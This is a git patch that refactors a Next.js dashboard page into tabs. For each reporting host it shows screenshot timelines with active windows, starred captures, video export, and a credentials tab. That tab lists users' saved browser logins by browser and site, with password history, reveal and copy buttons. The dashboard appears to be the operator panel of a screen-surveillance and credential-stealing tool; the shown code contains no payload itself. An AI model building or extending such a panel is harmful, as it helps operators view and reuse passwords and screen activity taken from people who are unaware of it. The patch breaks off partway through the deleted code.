From f99ca4f4aa9c32c36c35c402939900e12dc20e59 Mon Sep 17 00:00:00 2001 From: feie9454 Date: Sat, 22 Nov 2025 19:28:55 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20=E7=BB=84=E4=BB=B6=E9=87=8D=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../[hostname]/components/CredentialsTab.tsx | 300 ++++ .../[hostname]/components/ScreenshotsTab.tsx | 752 ++++++++++ .../[hostname]/components/StarredTab.tsx | 130 ++ app/hosts/[hostname]/hooks/useStarToggle.ts | 31 + app/hosts/[hostname]/page.tsx | 1279 +---------------- app/hosts/[hostname]/types.ts | 65 + app/hosts/[hostname]/utils.ts | 20 + 7 files changed, 1329 insertions(+), 1248 deletions(-) create mode 100644 app/hosts/[hostname]/components/CredentialsTab.tsx create mode 100644 app/hosts/[hostname]/components/ScreenshotsTab.tsx create mode 100644 app/hosts/[hostname]/components/StarredTab.tsx create mode 100644 app/hosts/[hostname]/hooks/useStarToggle.ts create mode 100644 app/hosts/[hostname]/types.ts create mode 100644 app/hosts/[hostname]/utils.ts diff --git a/app/hosts/[hostname]/components/CredentialsTab.tsx b/app/hosts/[hostname]/components/CredentialsTab.tsx new file mode 100644 index 0000000..c553b38 --- /dev/null +++ b/app/hosts/[hostname]/components/CredentialsTab.tsx @@ -0,0 +1,300 @@ +import React, { useState, useEffect, useMemo } from 'react'; +import { + RefreshCcw, + ChevronDown, + User, + Globe, + Link, + Clipboard, + ShieldAlert, + Loader2 +} from 'lucide-react'; +import { Credential, UserGroup, BrowserGroup } from '../types'; +import { formatDate } from '../utils'; + +interface CredentialsTabProps { + hostname: string; +} + +export default function CredentialsTab({ hostname }: CredentialsTabProps) { + const [credentials, setCredentials] = useState([]); + const [loadingCredentials, setLoadingCredentials] = useState(false); + const [expandedUsers, setExpandedUsers] = useState([]); + const [expandedBrowsers, setExpandedBrowsers] = useState([]); + const [expandedCredentials, setExpandedCredentials] = useState([]); + const [revealedPasswords, setRevealedPasswords] = useState([]); + + const fetchCredentials = async () => { + try { + setLoadingCredentials(true); + const response = await fetch(`/hosts/${hostname}/credentials`); + if (!response.ok) throw new Error('获取凭据数据失败'); + const data = await response.json(); + setCredentials(data); + + if (data.length > 0) { + const firstUser = data[0].username; + if (!expandedUsers.includes(firstUser)) { + setExpandedUsers([firstUser]); + } + } + } catch (error) { + console.error('获取凭据数据失败:', error); + } finally { + setLoadingCredentials(false); + } + }; + + useEffect(() => { + fetchCredentials(); + }, [hostname]); + + const credentialsByUser = useMemo(() => { + const userMap = new Map(); + + credentials.forEach(cred => { + if (!userMap.has(cred.username)) { + userMap.set(cred.username, []); + } + userMap.get(cred.username)!.push(cred); + }); + + const result: UserGroup[] = []; + + userMap.forEach((userCreds, username) => { + const latestSyncTime = userCreds.reduce((latest, cred) => { + const credTime = new Date(cred.lastSyncTime); + return credTime > latest ? credTime : latest; + }, new Date(0)).toISOString(); + + const browserMap = new Map(); + + userCreds.forEach(cred => { + if (!browserMap.has(cred.browser)) { + browserMap.set(cred.browser, []); + } + browserMap.get(cred.browser)!.push(cred); + }); + + const browsers: BrowserGroup[] = []; + browserMap.forEach((browserCreds, browserName) => { + browsers.push({ + name: browserName, + credentials: browserCreds + }); + }); + + result.push({ + username, + browsers, + total: userCreds.length, + lastSyncTime: latestSyncTime + }); + }); + + return result; + }, [credentials]); + + const toggleUserExpanded = (username: string) => { + if (expandedUsers.includes(username)) { + setExpandedUsers(expandedUsers.filter(u => u !== username)); + } else { + setExpandedUsers([...expandedUsers, username]); + } + }; + + const toggleBrowserExpanded = (browserKey: string) => { + if (expandedBrowsers.includes(browserKey)) { + setExpandedBrowsers(expandedBrowsers.filter(b => b !== browserKey)); + } else { + setExpandedBrowsers([...expandedBrowsers, browserKey]); + } + }; + + const toggleCredentialExpanded = (credId: string) => { + if (expandedCredentials.includes(credId)) { + setExpandedCredentials(expandedCredentials.filter(c => c !== credId)); + } else { + setExpandedCredentials([...expandedCredentials, credId]); + } + }; + + const revealPassword = (passwordKey: string) => { + if (!revealedPasswords.includes(passwordKey)) { + setRevealedPasswords([...revealedPasswords, passwordKey]); + } + }; + + const copyToClipboard = async (text: string) => { + try { + await navigator.clipboard.writeText(text); + } catch (err) { + console.error('复制失败:', err); + } + }; + + return ( +
+
+

凭据信息

+
+ +
+
+ + {loadingCredentials ? ( +
+
+ +

加载凭据信息...

+
+
+ ) : credentialsByUser.length === 0 ? ( +
+ +

没有找到任何凭据信息

+

可能是该主机尚未上报凭据数据

+
+ ) : ( +
+ {credentialsByUser.map((userGroup, index) => ( +
+
+
+
toggleUserExpanded(userGroup.username)} + > + +

{userGroup.username}

+
+ ({userGroup.browsers.length} 个浏览器, {userGroup.total} 个凭据) +
+
+ {userGroup.lastSyncTime ? `最后同步: ${formatDate(userGroup.lastSyncTime, 'short')}` : '未同步'} +
+
+
+
+ + {expandedUsers.includes(userGroup.username) && ( +
+ {userGroup.browsers.map((browser) => ( +
+
toggleBrowserExpanded(`${userGroup.username}-${browser.name}`)} + > +
+ + {browser.name} + + ({browser.credentials.length} 个站点) + +
+ +
+ + {expandedBrowsers.includes(`${userGroup.username}-${browser.name}`) && ( +
+ {browser.credentials.map((cred) => { + const credentialId = cred._id || cred.id || `${userGroup.username}-${browser.name}-${cred.url}-${cred.login}`; + const isExpanded = expandedCredentials.includes(credentialId); + return ( +
+
toggleCredentialExpanded(credentialId)} + > +
+ +
+ {cred.url} +
+
+ +
+ + {isExpanded && ( +
+
+
+ 用户名: + {cred.login} +
+ +
+
+ 密码历史: + + {cred.passwords.length} 条记录 + +
+ +
+ {cred.passwords.map((pwd, pwdIndex) => { + const pwdKey = `${credentialId}-${pwdIndex}`; + const revealed = revealedPasswords.includes(pwdKey); + return ( +
+ + {formatDate(pwd.timestamp, 'short')} + +
+ revealed ? null : revealPassword(pwdKey)} + > + {revealed ? pwd.value : '••••••••'} + + +
+
+ ); + })} +
+
+
+
+ )} +
+ ); + })} +
+ )} +
+ ))} +
+ )} +
+ ))} +
+ )} +
+ ); +} diff --git a/app/hosts/[hostname]/components/ScreenshotsTab.tsx b/app/hosts/[hostname]/components/ScreenshotsTab.tsx new file mode 100644 index 0000000..03b8bc1 --- /dev/null +++ b/app/hosts/[hostname]/components/ScreenshotsTab.tsx @@ -0,0 +1,752 @@ +import React, { useState, useEffect, useRef, useMemo, useCallback } from 'react'; +import { + RefreshCcw, + Loader2, + Star, + Video +} from 'lucide-react'; +import { format } from 'date-fns'; +import TimelineSlider from './TimelineSlider'; +import RecordDatePicker from './RecordDatePicker'; +import { ScreenRecord, TimeDistributionPoint, Segment, Marker } from '../types'; +import { formatMemory, formatDate } from '../utils'; +import { useStarToggle } from '../hooks/useStarToggle'; + +interface ScreenshotsTabProps { + hostname: string; + selectedDate: string | null; + onDateChange: (date: string | null) => void; + jumpRequest: { timestamp: number; recordId?: string } | null; + onLastUpdateChange: (date: string | null) => void; +} + +export default function ScreenshotsTab({ + hostname, + selectedDate, + onDateChange, + jumpRequest, + onLastUpdateChange +}: ScreenshotsTabProps) { + // 状态管理 + const [timeDistribution, setTimeDistribution] = useState([]); + const [records, setRecords] = useState([]); + const [selectedRecord, setSelectedRecord] = useState(null); + const [loadingDistribution, setLoadingDistribution] = useState(false); + const [loadingRecords, setLoadingRecords] = useState(false); + const [showDetailTimeline, setShowDetailTimeline] = useState(false); + // const [lastUpdate, setLastUpdate] = useState(null); // Lifted up + + // 生成视频相关状态 + const [generatingVideo, setGeneratingVideo] = useState(false); + + // 滑块状态 + const [timeRange, setTimeRange] = useState({ min: 0, max: 0 }); + const [hourlySliderValue, setHourlySliderValue] = useState(0); + const [detailedSliderValue, setDetailedSliderValue] = useState(0); + + // 播放控制 + const [currentFrameIndex, setCurrentFrameIndex] = useState(-1); + const [autoPlay, setAutoPlay] = useState(false); + const [autoPlaySpeed, setAutoPlaySpeed] = useState(100); + const [imagesLoadedCount, setImagesLoadedCount] = useState(0); + const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9); + const [loadingImageIds, setLoadingImageIds] = useState>(new Set()); + const autoPlayTimer = useRef(null); + const wheelDeltaAccumulator = useRef(0); + + const { updatingStars, toggleStar } = useStarToggle(); + + // 获取时间分布数据 + const fetchTimeDistribution = async () => { + try { + setLoadingDistribution(true); + const response = await fetch(`/hosts/${hostname}/time-distribution`); + if (!response.ok) throw new Error('获取时间分布数据失败'); + const data = await response.json(); + setTimeDistribution(data.distribution); + } catch (error) { + console.error('获取时间分布数据失败:', error); + } finally { + setLoadingDistribution(false); + } + }; + + // 获取小时记录 + const fetchHourlyRecords = async (startTime: number, endTime: number, options?: { targetRecordId?: string, keepSelection?: boolean }) => { + try { + setLoadingRecords(true); + setShowDetailTimeline(true); + const response = await fetch( + `/hosts/${hostname}/screenshots?startTime=${startTime}&endTime=${endTime}` + ); + if (!response.ok) throw new Error('获取记录数据失败'); + const data = await response.json(); + const newRecords = data.records.reverse(); + setRecords(newRecords); + onLastUpdateChange(data.lastUpdate); + setTimeRange({ min: startTime * 1000, max: endTime * 1000 }); + + requestAnimationFrame(() => { + if (options?.targetRecordId) { + const found = newRecords.find((r: ScreenRecord) => r.id === options.targetRecordId); + if (found) { + setSelectedRecord(found); + } else { + // Fallback if exact ID not found, maybe try timestamp match if we had it, but ID is safer + setSelectedRecord(newRecords[0]); + } + } else if (options?.keepSelection && selectedRecord) { + const found = newRecords.find((r: ScreenRecord) => r.id === selectedRecord.id) || + newRecords.find((r: ScreenRecord) => r.timestamp === selectedRecord.timestamp); + setSelectedRecord(found || newRecords[0]); + } else { + setSelectedRecord(newRecords[0]); + } + }); + } catch (error) { + console.error('获取记录数据失败:', error); + } finally { + setLoadingRecords(false); + } + }; + + // 生成视频 + const generateVideo = async () => { + if (!showDetailTimeline || !timeRange.min || !timeRange.max) { + alert('请先选择时间范围'); + return; + } + + try { + setGeneratingVideo(true); + + const startTime = Math.floor(timeRange.min / 1000); + const endTime = Math.floor(timeRange.max / 1000); + + const videoUrl = `/api/generate/video?hostname=${encodeURIComponent(hostname)}&startTime=${startTime}&endTime=${endTime}`; + + // 在新标签页中打开视频 + window.open(videoUrl, '_blank'); + + } catch (error) { + console.error('生成视频失败:', error); + alert('生成视频失败,请稍后重试'); + } finally { + setGeneratingVideo(false); + } + }; + + // 日历相关计算 + const dailyCounts = useMemo(() => { + const map: Record = {}; + timeDistribution.forEach(point => { + const d = new Date(point.timestamp * 1000); + const dateStr = `${d.getFullYear()}-${(d.getMonth() + 1).toString().padStart(2, '0')}-${d.getDate().toString().padStart(2, '0')}`; + map[dateStr] = (map[dateStr] || 0) + point.count; + }); + return map; + }, [timeDistribution]); + + // 小时分布滑块相关计算 + const hourlyMinTime = useMemo(() => { + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + return dayStart.getTime(); + } + if (timeDistribution.length === 0) return Date.now(); + const minSec = Math.min(...timeDistribution.map(d => d.timestamp)); + return minSec * 1000; + }, [selectedDate, timeDistribution]); + + const hourlyMaxTime = useMemo(() => { + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + const dayEnd = new Date(dayStart); + dayEnd.setDate(dayStart.getDate() + 1); + return dayEnd.getTime(); + } + if (timeDistribution.length === 0) return Date.now(); + const maxSec = Math.max(...timeDistribution.map(d => d.timestamp)); + return (maxSec + 3599) * 1000; + }, [selectedDate, timeDistribution]); + + const hourlySegments = useMemo(() => { + const segments: Segment[] = []; + if (selectedDate) { + const [year, month, day] = selectedDate.split('-').map(Number); + const dayStart = new Date(year, month - 1, day); + const startSec = Math.floor(dayStart.getTime() / 1000); + const dayEnd = new Date(dayStart); + dayEnd.setDate(dayEnd.getDate() + 1); + const endSec = Math.floor(dayEnd.getTime() / 1000); + + for (let t = startSec; t < endSec; t += 3600) { + const segStart = t * 1000; + const segEnd = (t + 3600) * 1000; + const data = timeDistribution.find(d => d.timestamp >= t && d.timestamp < t + 3600); + segments.push({ + start: segStart, + end: segEnd, + active: !!data && data.count > 0 + }); + } + } else { + if (timeDistribution.length === 0) return segments; + const startSec = Math.min(...timeDistribution.map(d => d.timestamp)); + const endSec = Math.max(...timeDistribution.map(d => d.timestamp)); + for (let t = startSec; t <= endSec; t += 3600) { + const segStart = t * 1000; + const segEnd = (t + 3600) * 1000; + const data = timeDistribution.find(d => d.timestamp === t); + segments.push({ + start: segStart, + end: segEnd, + active: data ? data.count > 0 : false + }); + } + } + return segments; + }, [selectedDate, timeDistribution]); + + // 详细时间点标记 + const detailedMarkers = useMemo(() => { + return records.map(record => ({ + time: new Date(record.timestamp).getTime(), + label: format(new Date(record.timestamp), 'HH:mm:ss'), + active: true + })); + }, [records]); + + // 事件处理函数 + const onHourlySliderChange = (newValue: number) => { + const selectedSec = Math.floor(newValue / 3600000) * 3600; + + // 使用 setTimeout 避免在渲染过程中更新状态 + setTimeout(() => { + setHourlySliderValue(newValue); + fetchHourlyRecords(selectedSec, selectedSec + 3600); + }, 0); + }; + + const onDetailedSliderChange = (newValue: number) => { + if (records.length === 0) return; + const targetTime = newValue; + let closestRecord = records[0]; + let minDiff = Math.abs(new Date(closestRecord.timestamp).getTime() - targetTime); + + for (const record of records) { + const diff = Math.abs(new Date(record.timestamp).getTime() - targetTime); + if (diff < minDiff) { + minDiff = diff; + closestRecord = record; + } + } + + // 使用 setTimeout 避免在渲染过程中更新状态 + setTimeout(() => { + setSelectedRecord(closestRecord); + setDetailedSliderValue(newValue); + }, 0); + }; + + // 播放控制 + const nextFrame = () => { + if (currentFrameIndex < records.length - 1) { + setCurrentFrameIndex(currentFrameIndex + 1); + setSelectedRecord(records[currentFrameIndex + 1]); + } else { + setAutoPlay(false); + } + stopAutoPlayTimer(); + }; + + const prevFrame = () => { + if (currentFrameIndex > 0) { + setCurrentFrameIndex(currentFrameIndex - 1); + setSelectedRecord(records[currentFrameIndex - 1]); + } + stopAutoPlayTimer(); + }; + + const toggleAutoPlay = () => { + setAutoPlay(!autoPlay); + }; + + const startAutoPlayTimer = useCallback(() => { + + if (autoPlay) { + autoPlayTimer.current = setTimeout(() => { + nextFrame(); + }, autoPlaySpeed); + } + }, [autoPlay, autoPlaySpeed, currentFrameIndex, records.length]); + + const stopAutoPlayTimer = () => { + if (autoPlayTimer.current) { + clearTimeout(autoPlayTimer.current); + autoPlayTimer.current = null; + } + }; + + const onImageLoad = (event: React.SyntheticEvent, fileId: string) => { + setImagesLoadedCount(prev => prev + 1); + const imgEl = event.target as HTMLImageElement; + if (imgEl.naturalHeight !== 0) { + setImageAspectRatio(imgEl.naturalWidth / imgEl.naturalHeight); + } + setLoadingImageIds(prev => { + const next = new Set(prev); + next.delete(fileId); + return next; + }); + }; + + const onImageError = (fileId: string) => { + setLoadingImageIds(prev => { + const next = new Set(prev); + next.delete(fileId); + return next; + }); + }; + + const handleToggleStar = async (recordId: string) => { + const newStatus = await toggleStar(recordId); + if (newStatus !== null) { + setRecords(prev => prev.map(record => + record.id === recordId + ? { ...record, isStarred: newStatus } + : record + )); + if (selectedRecord && selectedRecord.id === recordId) { + setSelectedRecord(prev => prev ? { ...prev, isStarred: newStatus } : null); + } + } + }; + + // 键盘快捷键处理 + useEffect(() => { + const handleKeyPress = (event: KeyboardEvent) => { + // 防止在输入框中触发快捷键 + if (event.target instanceof HTMLInputElement || event.target instanceof HTMLTextAreaElement) { + return; + } + + switch (event.code) { + case 'Space': + event.preventDefault(); + toggleAutoPlay(); + break; + case 'ArrowLeft': + event.preventDefault(); + prevFrame(); + break; + case 'ArrowRight': + event.preventDefault(); + nextFrame(); + break; + case 'KeyS': + event.preventDefault(); + if (selectedRecord) { + handleToggleStar(selectedRecord.id); + } + break; + } + }; + + document.addEventListener('keydown', handleKeyPress); + return () => { + document.removeEventListener('keydown', handleKeyPress); + }; + }, [selectedRecord, toggleAutoPlay, prevFrame, nextFrame]); + + // 滚轮事件处理 + useEffect(() => { + const WHEEL_THRESHOLD = 20; // 累计多少像素后才切换(可调整) + + const handleWheel = (event: WheelEvent) => { + // 累计水平滚动距离 + wheelDeltaAccumulator.current += event.deltaX; + + // 检查是否超过阈值 + if (Math.abs(wheelDeltaAccumulator.current) >= WHEEL_THRESHOLD) { + if (wheelDeltaAccumulator.current < 0) { + // 向左滚动,上一帧 + prevFrame(); + } else { + // 向右滚动,下一帧 + nextFrame(); + } + // 重置累计器 + wheelDeltaAccumulator.current = 0; + } + }; + + document.addEventListener('wheel', handleWheel, { passive: true }); + return () => { + document.removeEventListener('wheel', handleWheel); + // 清理累计器 + wheelDeltaAccumulator.current = 0; + }; + }, [prevFrame, nextFrame]); + + // Effects + useEffect(() => { + fetchTimeDistribution(); + }, [hostname]); + + useEffect(() => { + if (!selectedDate && Object.keys(dailyCounts).length > 0) { + const dates = Object.keys(dailyCounts).sort(); + if (dates.length > 0) { + onDateChange(dates[0]); + } + } + }, [dailyCounts, selectedDate, onDateChange]); + + // Handle Jump Request + useEffect(() => { + if (jumpRequest) { + const { timestamp, recordId } = jumpRequest; + const hourStartSec = Math.floor(timestamp / 1000 / 3600) * 3600; + const hourStartTime = hourStartSec * 1000; + + setHourlySliderValue(hourStartTime); + fetchHourlyRecords(hourStartSec, hourStartSec + 3600, { targetRecordId: recordId }); + } + }, [jumpRequest]); + + // 自动定位到第一个有数据的时间段 + useEffect(() => { + if (jumpRequest) return; + if (!selectedDate) return; + + const activeSegment = hourlySegments.find(s => s.active); + + if (activeSegment) { + // 检查是否需要跳转: + // 1. 当前没有记录(初始化) + // 2. 当前记录不属于选中的日期(切换日期) + let shouldJump = false; + if (records.length === 0) { + shouldJump = true; + } else { + const recordDate = new Date(records[0].timestamp); + const recordDateStr = `${recordDate.getFullYear()}-${(recordDate.getMonth() + 1).toString().padStart(2, '0')}-${recordDate.getDate().toString().padStart(2, '0')}`; + if (recordDateStr !== selectedDate) { + shouldJump = true; + } + } + + if (shouldJump) { + const newValue = activeSegment.start + 1800000; // 定位到中间 + setHourlySliderValue(newValue); + const selectedSec = Math.floor(newValue / 3600000) * 3600; + fetchHourlyRecords(selectedSec, selectedSec + 3600); + } + } else { + // 当天没有数据,清空旧数据以避免误导 + if (records.length > 0) { + setRecords([]); + setSelectedRecord(null); + setShowDetailTimeline(false); + } + setHourlySliderValue(hourlyMinTime); + } + }, [selectedDate, hourlySegments, jumpRequest, records, hourlyMinTime]); + + useEffect(() => { + setDetailedSliderValue(timeRange.min); + }, [timeRange.min]); + + useEffect(() => { + setImagesLoadedCount(0); + + if (selectedRecord) { + const idx = records.findIndex(rec => rec.timestamp === selectedRecord.timestamp); + setCurrentFrameIndex(idx); + setDetailedSliderValue(new Date(selectedRecord.timestamp).getTime()); + } + if (autoPlay) { + startAutoPlayTimer(); + } + }, [selectedRecord, records, autoPlay, startAutoPlayTimer]); + + useEffect(() => { + if (selectedRecord) { + setLoadingImageIds(new Set(selectedRecord.screenshots.map(s => s.fileId))); + } else { + setLoadingImageIds(new Set()); + } + }, [selectedRecord]); + + useEffect(() => { + if (autoPlay) { + stopAutoPlayTimer(); + startAutoPlayTimer(); + } + }, [autoPlay, autoPlaySpeed, startAutoPlayTimer]); + + return ( +
+
+ {/* 小时分布滑块(时间分布) */} +
+
+

时间分布

+ +
+ + + + {hourlySegments.length > 0 ? ( +
+ +
+ ) : ( +
加载时间分布中...
+ )} +
+ + {/* 详细时间点滑块 */} + {showDetailTimeline && ( +
+
+

时间点详情

+
+ + +
+
+ + {records.length > 0 ? ( + + ) : ( +
加载记录中...
+ )} +
+ )} +
+ + {/* 图片预览区域及控制按钮 */} +
+ {selectedRecord && ( +
+ { + !(navigator as any).connection?.saveData && + records.map(record => record.screenshots).flat() + .filter((_, index) => Math.abs(index - currentFrameIndex) <= 20) + .map(screenshot => ) + } + {/* 图片预览区域 */} + {selectedRecord.screenshots.map((screenshot, sIndex) => ( +
+
+ {screenshot.monitorName} onImageLoad(e, screenshot.fileId)} + onError={() => onImageError(screenshot.fileId)} + /> + {loadingImageIds.has(screenshot.fileId) && ( +
+ +
+ )} +
+ + {/* 图片说明 */} +
+
{screenshot.monitorName}
+
+ {new Date(selectedRecord.timestamp).toLocaleString()} +
+
+ + {/* 左侧点击区域 - 上一帧 */} +
{ e.preventDefault(); prevFrame(); }} + onTouchStart={(e) => e.preventDefault()} + className="absolute bottom-0 left-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" + /> + + {/* 右侧点击区域 - 下一帧 */} +
{ e.preventDefault(); nextFrame(); }} + onTouchStart={(e) => e.preventDefault()} + className="absolute bottom-0 right-0 h-full w-1/3 text-white px-2 py-1 cursor-pointer" + /> +
+ ))} + + {/* 控制按钮区域 */} +
+
+ + {/* 速度控制 */} +
+ 播放速度 +
+ setAutoPlaySpeed(Number(e.target.value))} + className="w-20 text-sm px-3 py-1.5 border border-gray-300 dark:border-gray-500 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 focus:border-transparent bg-white dark:bg-gray-700 text-gray-900 dark:text-white transition-colors" + min="0" + max="2000" + step="50" + /> + 毫秒 +
+
+ + {/* 播放控制按钮 */} + + + {/* 星标按钮 */} + +
+ + {/* 快捷键提示 */} +
+
+ + 空格 + 播放/暂停 + + + ←/→ + 上一帧/下一帧 + + + S + 切换星标 + +
+
+
+ + {/* 窗口信息 */} +
+

活动窗口

+
+
+ {selectedRecord.windows.map((window, index) => ( +
+
+
+ {window.title} +
+
+ {window.path} +
+
+ 内存占用: {formatMemory(window.memory)} +
+
+
+ ))} +
+
+
+
+ )} +
+
+ ); +} diff --git a/app/hosts/[hostname]/components/StarredTab.tsx b/app/hosts/[hostname]/components/StarredTab.tsx new file mode 100644 index 0000000..75f54fb --- /dev/null +++ b/app/hosts/[hostname]/components/StarredTab.tsx @@ -0,0 +1,130 @@ +import React, { useState, useEffect } from 'react'; +import { Star, RefreshCcw, Loader2 } from 'lucide-react'; +import { ScreenRecord } from '../types'; +import { formatDate } from '../utils'; +import { useStarToggle } from '../hooks/useStarToggle'; + +interface StarredTabProps { + hostname: string; + onViewRecord: (record: ScreenRecord) => void; +} + +export default function StarredTab({ hostname, onViewRecord }: StarredTabProps) { + const [starredRecords, setStarredRecords] = useState([]); + const [loadingStarred, setLoadingStarred] = useState(false); + const { updatingStars, toggleStar } = useStarToggle(); + + const fetchStarredRecords = async () => { + try { + setLoadingStarred(true); + const response = await fetch(`/hosts/${hostname}/starred`); + if (!response.ok) throw new Error('获取星标记录失败'); + const data = await response.json(); + setStarredRecords(data.records); + } catch (error) { + console.error('获取星标记录失败:', error); + } finally { + setLoadingStarred(false); + } + }; + + useEffect(() => { + fetchStarredRecords(); + }, [hostname]); + + const handleToggleStar = async (recordId: string) => { + const newStatus = await toggleStar(recordId); + if (newStatus === false) { + // Removed from starred + setStarredRecords(prev => prev.filter(r => r.id !== recordId)); + } else if (newStatus === true) { + // Shouldn't happen in this view usually, but if it does... + fetchStarredRecords(); + } + }; + + return ( +
+
+

+ + 星标记录 +

+ +
+ + {loadingStarred ? ( +
+
+ +

加载星标记录...

+
+
+ ) : starredRecords.length === 0 ? ( +
+ +

还没有星标记录

+

在截图时间线中点击星标按钮来收藏重要记录

+
+ ) : ( +
+ {starredRecords.map((record) => ( +
+ {record.screenshots.length > 0 && ( +
+ {record.screenshots[0].monitorName} +
+ )} + +
+
+
+ {formatDate(record.timestamp, 'short')} +
+ +
+ +
+ {record.screenshots.length} 个截图 • {record.windows.length} 个窗口 +
+ + {record.windows.length > 0 && ( +
+ 主要窗口: {record.windows[0].title} +
+ )} + + +
+
+ ))} +
+ )} +
+ ); +} diff --git a/app/hosts/[hostname]/hooks/useStarToggle.ts b/app/hosts/[hostname]/hooks/useStarToggle.ts new file mode 100644 index 0000000..7619f0d --- /dev/null +++ b/app/hosts/[hostname]/hooks/useStarToggle.ts @@ -0,0 +1,31 @@ +import { useState } from 'react'; + +export function useStarToggle() { + const [updatingStars, setUpdatingStars] = useState>(new Set()); + + const toggleStar = async (recordId: string) => { + if (updatingStars.has(recordId)) return null; + + try { + setUpdatingStars(prev => new Set(prev).add(recordId)); + const response = await fetch(`/api/records/${recordId}/star`, { + method: 'PATCH' + }); + + if (!response.ok) throw new Error('切换星标状态失败'); + const data = await response.json(); + return data.isStarred as boolean; + } catch (error) { + console.error('切换星标状态失败:', error); + return null; + } finally { + setUpdatingStars(prev => { + const newSet = new Set(prev); + newSet.delete(recordId); + return newSet; + }); + } + }; + + return { updatingStars, toggleStar }; +} diff --git a/app/hosts/[hostname]/page.tsx b/app/hosts/[hostname]/page.tsx index 8aba709..3211856 100644 --- a/app/hosts/[hostname]/page.tsx +++ b/app/hosts/[hostname]/page.tsx @@ -1,90 +1,13 @@ "use client"; -import React, { useState, useEffect, useRef, useMemo, useCallback } from 'react'; +import React, { useState } from 'react'; import { useParams, useRouter } from 'next/navigation'; -import { - ArrowLeft, - RefreshCcw, - ChevronDown, - User, - Globe, - Link, - Clipboard, - ShieldAlert, - Loader2, - Star, - Video -} from 'lucide-react'; -import { format, differenceInMinutes } from 'date-fns'; -import TimelineSlider from './components/TimelineSlider'; -import RecordDatePicker from './components/RecordDatePicker'; - -interface Screenshot { - fileId: string; - filename: string; - monitorName: string; -} - -interface Window { - title: string; - path: string; - memory: number; -} - -interface ScreenRecord { - id: string; - timestamp: string; - isStarred: boolean; - windows: Window[]; - screenshots: Screenshot[]; -} - -interface TimeDistributionPoint { - count: number; - timestamp: number; -} - -interface Password { - value: string; - timestamp: string; -} - -interface Credential { - // 后端有的可能返回 _id,有的可能返回 id,这里都兼容 - _id?: string; - id?: string; - hostname: string; - username: string; - browser: string; - url: string; - login: string; - passwords: Password[]; - lastSyncTime: Date; -} - -interface BrowserGroup { - name: string; - credentials: Credential[]; -} - -interface UserGroup { - username: string; - browsers: BrowserGroup[]; - total: number; - lastSyncTime?: string; -} - -interface Segment { - start: number; - end: number; - active: boolean; -} - -interface Marker { - time: number; - label?: string; - active?: boolean; -} +import { ArrowLeft, Star } from 'lucide-react'; +import ScreenshotsTab from './components/ScreenshotsTab'; +import StarredTab from './components/StarredTab'; +import CredentialsTab from './components/CredentialsTab'; +import { ScreenRecord } from './types'; +import { formatDate } from './utils'; export default function HostDetail() { const params = useParams(); @@ -93,653 +16,22 @@ export default function HostDetail() { // 状态管理 const [activeTab, setActiveTab] = useState('screenshots'); - const [timeDistribution, setTimeDistribution] = useState([]); - const [records, setRecords] = useState([]); - const [selectedRecord, setSelectedRecord] = useState(null); - const [loadingDistribution, setLoadingDistribution] = useState(false); - const [loadingRecords, setLoadingRecords] = useState(false); - const [showDetailTimeline, setShowDetailTimeline] = useState(false); + const [selectedDate, setSelectedDate] = useState(null); + const [jumpRequest, setJumpRequest] = useState<{ timestamp: number; recordId?: string } | null>(null); const [lastUpdate, setLastUpdate] = useState(null); - // 星标相关状态 - const [starredRecords, setStarredRecords] = useState([]); - const [loadingStarred, setLoadingStarred] = useState(false); - const [updatingStars, setUpdatingStars] = useState>(new Set()); - - // 凭据相关状态 - const [credentials, setCredentials] = useState([]); - const [loadingCredentials, setLoadingCredentials] = useState(false); - const [expandedUsers, setExpandedUsers] = useState([]); - const [expandedBrowsers, setExpandedBrowsers] = useState([]); - const [expandedCredentials, setExpandedCredentials] = useState([]); - const [revealedPasswords, setRevealedPasswords] = useState([]); - - // 生成视频相关状态 - const [generatingVideo, setGeneratingVideo] = useState(false); - - // 日历和滑块状态 - const [selectedDate, setSelectedDate] = useState(null); - const [timeRange, setTimeRange] = useState({ min: 0, max: 0 }); - const [hourlySliderValue, setHourlySliderValue] = useState(0); - const [detailedSliderValue, setDetailedSliderValue] = useState(0); - - // 播放控制 - const [currentFrameIndex, setCurrentFrameIndex] = useState(-1); - const [autoPlay, setAutoPlay] = useState(false); - const [autoPlaySpeed, setAutoPlaySpeed] = useState(100); - const [imagesLoadedCount, setImagesLoadedCount] = useState(0); - const [imageAspectRatio, setImageAspectRatio] = useState(16 / 9); - const [loadingImageIds, setLoadingImageIds] = useState>(new Set()); - const autoPlayTimer = useRef(null); - const wheelDeltaAccumulator = useRef(0); - - // 格式化内存大小 - const formatMemory = (bytes: number | string) => { - bytes = typeof bytes === 'string' ? parseInt(bytes, 10) : bytes; - const units = ['B', 'KB', 'MB', 'GB']; - let size = bytes; - let unitIndex = 0; - while (size >= 1024 && unitIndex < units.length - 1) { - size /= 1024; - unitIndex++; - } - return `${size.toFixed(1)} ${units[unitIndex]}`; - }; - - // 格式化日期 - const formatDate = (date: string, type: 'full' | 'short' = 'full') => { - if (type === 'short') { - return format(new Date(date), 'MM-dd HH:mm'); - } - return format(new Date(date), 'yyyy-MM-dd HH:mm:ss'); - }; - - // 获取时间分布数据 - const fetchTimeDistribution = async () => { - try { - setLoadingDistribution(true); - const response = await fetch(`/hosts/${hostname}/time-distribution`); - if (!response.ok) throw new Error('获取时间分布数据失败'); - const data = await response.json(); - setTimeDistribution(data.distribution); - } catch (error) { - console.error('获取时间分布数据失败:', error); - } finally { - setLoadingDistribution(false); - } - }; - - // 获取星标记录 - const fetchStarredRecords = async () => { - try { - setLoadingStarred(true); - const response = await fetch(`/hosts/${hostname}/starred`); - if (!response.ok) throw new Error('获取星标记录失败'); - const data = await response.json(); - setStarredRecords(data.records); - } catch (error) { - console.error('获取星标记录失败:', error); - } finally { - setLoadingStarred(false); - } - }; - - // 切换星标状态 - const toggleRecordStar = async (recordId: string) => { - if (updatingStars.has(recordId)) return; - - try { - setUpdatingStars(prev => new Set(prev).add(recordId)); - const response = await fetch(`/api/records/${recordId}/star`, { - method: 'PATCH' - }); - - if (!response.ok) throw new Error('切换星标状态失败'); - const 